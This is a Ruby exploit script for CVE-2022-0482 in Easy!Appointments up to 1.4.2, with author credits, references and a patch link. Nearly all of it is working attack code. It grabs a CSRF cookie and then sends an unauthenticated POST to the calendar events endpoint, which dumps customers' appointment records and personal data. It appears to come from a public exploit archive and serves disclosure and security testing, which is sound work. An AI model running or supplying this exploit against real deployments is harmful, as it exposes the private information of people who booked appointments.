093714dc70
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81 lines
No EOL
2.7 KiB
Ruby
Executable file
81 lines
No EOL
2.7 KiB
Ruby
Executable file
# Exploit Title: Easy Appointments 1.4.2 - Information Disclosure
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# Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
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# Author website: https://pwn.by/noraj/
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# Exploit source: https://github.com/Acceis/exploit-CVE-2022-0482
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# Date: 2022-04-11
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# Vendor Homepage: https://easyappointments.org/
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# Software Link: https://github.com/alextselegidis/easyappointments/archive/refs/tags/1.4.2.tar.gz
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# Version: < 1.4.3 (it means up to 1.4.2)
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# Tested on: Easy!Appointments Version 1.3.2
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# Vulnerability
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## Discoverer: Francesco CARLUCCI
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## Date: 2022-01-30
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## Discoverer website: https://carluc.ci/
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## Discovered on OpenNetAdmin 1.4.2
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## Title: Exposure of Private Personal Information to an Unauthorized Actor in alextselegidis/easyappointments
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## CVE: CVE-2022-0482
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## CWE: CWE-863
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## Patch: https://github.com/alextselegidis/easyappointments/commit/bb71c9773627dace180d862f2e258a20df84f887#diff-4c48e5652fb13f13d2a50b6fb5d7027321913c4f8775bb6d1e8f79492bdd796c
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## References:
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## - https://huntr.dev/bounties/2fe771ef-b615-45ef-9b4d-625978042e26/
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## - https://github.com/alextselegidis/easyappointments/tree/1.4.2
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## - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-0482.yaml
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## - https://opencirt.com/hacking/securing-easy-appointments-cve-2022-0482/
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## - https://nvd.nist.gov/vuln/detail/CVE-2022-0482
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#!/usr/bin/env ruby
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require 'date'
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require 'httpx'
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require 'docopt'
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doc = <<~DOCOPT
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Easy!Appointments < 1.4.3 - Unauthenticated PII (events) disclosure
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Source: https://github.com/Acceis/exploit-CVE-2022-0482
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Usage:
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#{__FILE__} <url> [<startDate> <endDate>] [--debug]
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#{__FILE__} -h | --help
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Options:
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<url> Root URL (base path) including HTTP scheme, port and root folder
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<startDate> All events since (default: 2015-01-11)
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<endDate> All events until (default: today)
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--debug Display arguments
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-h, --help Show this screen
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Examples:
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#{__FILE__} http://10.0.0.1
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#{__FILE__} https://10.0.0.1:4567/subdir 2022-04-01 2022-04-30
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DOCOPT
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def fetch_csrf(root_url, http)
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vuln_url = "#{root_url}/index.php"
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http.get(vuln_url)
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end
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def exploit(root_url, startDate, endDate, http)
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vuln_url = "#{root_url}/index.php/backend_api/ajax_get_calendar_events"
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params = {
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'csrfToken' => http.cookies.first.value, # csrfCookie
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'startDate' => startDate.nil? ? '2015-01-11' : startDate,
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'endDate' => endDate.nil? ? Date.today.to_s : endDate
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}
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http.post(vuln_url, form: params)
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end
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begin
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args = Docopt.docopt(doc)
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pp args if args['--debug']
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http = HTTPX.plugin(:cookies)
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fetch_csrf(args['<url>'], http)
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puts exploit(args['<url>'], args['<startDate>'], args['<endDate>'], http).body
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rescue Docopt::Exit => e
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puts e.message
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end |